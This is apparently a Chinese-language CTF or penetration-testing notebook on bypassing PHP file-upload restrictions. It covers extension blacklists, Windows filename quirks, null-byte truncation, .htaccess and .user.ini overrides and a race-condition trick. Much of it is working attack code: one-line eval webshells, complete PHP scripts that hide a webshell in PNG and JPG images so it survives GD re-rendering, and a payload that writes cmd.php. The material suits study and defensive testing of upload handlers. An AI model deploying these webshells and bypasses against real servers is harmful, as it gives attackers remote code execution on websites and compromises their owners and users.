上传拦截绕过
黑名单
黑白名单判断: 传递一个不存在的后缀,如果能上传说明是黑名单。如果是黑名单,可以遍历可利用的后缀字典,看看有没有漏掉过滤的。
apache
看php mods的配置中将哪些文件识别成php
/etc/apache2/mods-available/php8.1.conf
1:<FilesMatch ".+\.ph(ar|p|tml)$">
2: SetHandler application/x-httpd-php
/etc/apache2/mods-available/php8.3.conf
3:<FilesMatch ".+\.ph(?:ar|p|tml)$">
4: SetHandler application/x-httpd-php
/etc/apache2/mods-available/php5.6.conf
1:<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
2: SetHandler application/x-httpd-php
/etc/apache2/mods-available/php7.4.conf
1:<FilesMatch ".+\.ph(ar|p|tml)$">
2: SetHandler application/x-httpd-php
/etc/apache2/mods-available/php8.4.conf
3:<FilesMatch ".+\.ph(?:ar|p|tml)$">
4: SetHandler application/x-httpd-php
常见的有
php, phar, phtml, php3457, pht
windows文件系统特性
大小写绕过
windows默认大小写不敏感,如果过滤php,PhP仍然会匹配到php文件,从而执行代码
空格、点、::$DATA 绕过
Windows 保存文件时会自动去掉文件末尾多余的 .、空格和 ::$DATA:
file_put_contents('a.php::$DATA', "hello world");
空格似乎对php版本有要求
/tmp> php test.php
Warning: file_put_contents(a.php ): Failed to open stream: Permission denied in D:\tmp\test.php on line 3
但是当a.php存在时,又可以打开
00截断
%00 截断(php-version < 5.3.4)
旧版本php识别到\x00,默认文件名结束,导致安全添加的.jpg后缀被忽略
双写绕过
phphpp 双写绕过等方式。
制作图片马 可绕过 exif_imagetype()、getimagesize():
copy smi1e.jpg /b + shell.php /a shell.jpg
imagecreatefrom???(二次渲染)
参考:学习文章
gif
只需要找到渲染前后没有变化的部分,插入一句话木马即可。
png
方式一:写入 PLTE 并修改 CRC
payload
// made by mekrina 2025/3/9
<?php
$payload = '<?=@eval($_POST[1]);?>';
while(strlen($payload) % 3 != 0){
$payload .= '0'; // rgb三通道
}
$width = 1;
$height = strlen($payload) / 3; // 像素数目
$image = imagecreate($width, $height);
for($index=0;$index<strlen($payload);$index+=3){
$color_index = [ord($payload[$index]), ord($payload[$index+1]), ord($payload[$index+2])];
$color = imagecolorallocate($image, $color_index[0], $color_index[1], $color_index[2]);
imagesetpixel($image, 0, $index/3, $color);
};
imagepng($image, '1.png');
imagedestroy($image);
echo "索引彩色PNG图片已生成:1.png";
方式二:写入 IDAT 数据块
写入结果:
<?=$_GET[0]($_POST[1]);?>
脚本:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
jpg
先随便拿一个正常 jpg 文件经过 PHP 二次渲染:
<?php
$im = imagecreatefromjpeg("normal.jpg");
var_dump($im);
imagejpeg($im, 'php_fit_normal.jpg');
然后使用 php exp.php php_fit_normal.jpg 生成 payload.jpg。
payload
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after
transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the
processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be
uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try
another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=@eval($_POST[1]);?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
具体看代码逻辑
move_uploaded_file 和 rename_file 不允许 \x00,不能采用 00 截断的方法。必须是一个有效路径,a.php. 也不行了(可能与 PHP 版本有关)。但是 a.php/. 可以,并保存为 a.php。
MIME 类型检测
直接在 Burp Suite 里面改。
文件头检测
加上 GIF89A(会使得 .htaccess 失效)。
配置文件覆盖
Apache .htaccess
注意:
.htaccess文件不要有GIF89A,否则会报语法错误 500!解决方法:用注释符(
#、\x00)并自定义宽高。
#define width 1
#define height 1
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
可以绕过 getimagesize 和 exif_imagetype。
通用 .user.ini
上传 .user.ini 用于 PHP 配置,参考 PHP 文档。
auto_prepend_file=torjan.jpg
当目录下其他 PHP 代码被执行时,会先把 torjan.jpg 的内容作为 PHP 执行。利用条件是目录下存在其他 PHP 文件。
文件内容过滤
过滤 <? → 用 <script> 绕过
phpv < 7.0.0
GIF89a
<script language="php">
@eval($_POST['cmd']);phpinfo();
</script>
文件大小限制
有时还会碰到这种条件:
&& $_FILES["uploaded"]["size"] < 2048
条件竞争
利用条件:使用白名单检测、先传到服务器再删除、文件上传路径已知。
payload
<?php
fputs(fopen("cmd.php", "w"), '<?php @eval($_POST["cmd"]); ?>');
?>
一手发包,一手访问上传的文件。若文件在被删除前被访问到,这段代码就会生成 cmd.php,从而获得 webshell。